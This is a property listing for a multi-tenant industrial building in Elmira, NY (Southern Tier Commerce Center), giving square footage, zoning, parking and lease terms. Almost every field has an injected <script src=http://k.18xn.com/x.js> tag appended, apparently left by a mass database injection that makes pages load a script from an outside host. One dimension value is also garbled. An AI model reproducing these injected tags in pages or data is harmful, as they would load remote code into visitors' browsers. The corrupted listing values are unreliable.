



Address: 1051 South Main Street<script src=http://k.18xn.com/x.js>
Address 2: <script src=http://k.18xn.com/x.js>

City/State/Zip: Elmira<script src=http://k.18xn.com/x.js>, NY 14904
Municipality: Town of Southport<script src=http://k.18xn.com/x.js>
County: Chemung<script src=http://k.18xn.com/x.js>
Former Use: Manufacturing & Warehousing<script src=http://k.18xn.com/x.js>

Sale Price: \$ N/A<script src=http://k.18xn.com/x.js>
Lease Price: \$ Negotiable<script src=http://k.18xn.com/x.js>
Terms: : NNN<script src=http://k.18xn.com/x.js>

Type of Location: Multi-Tenant Industrial<script src=http://k.18xn.com/x.js>
Indus/Bus. Park: No<script src=http://k.18xn.com/x.js>
Zoning: Industrial<script src=http://k.18xn.com/x.js>

Available Sq. Ft. 247500
Bldg. Dimensions: 570 x 540 (ft x (LxW)): 76180500000
Expandable: Yes<script src=http://k.18xn.com/x.js>



Property Status: Available<script src=http://k.18xn.com/x.js>
Date Available: Immediately<script src=http://k.18xn.com/x.js>
Building Type: Industrial<script src=http://k.18xn.com/x.js>
Year Built: 1940<script src=http://k.18xn.com/x.js>
Year Additions Built: N/A<script src=http://k.18xn.com/x.js>
School District: Elmira<script src=http://k.18xn.com/x.js>

No. Parking Spaces: 200<script src=http://k.18xn.com/x.js>
Paved Parking: Yes
Empire Zone: Yes
Multiple Tenants: Yes
No. of Buildings: 1<script src=http://k.18xn.com/x.js>
No. of Floors: 1<script src=http://k.18xn.com/x.js>

Additional Information:
Southern Tier Commerce Center<script src=http://k.18xn.com/x.js>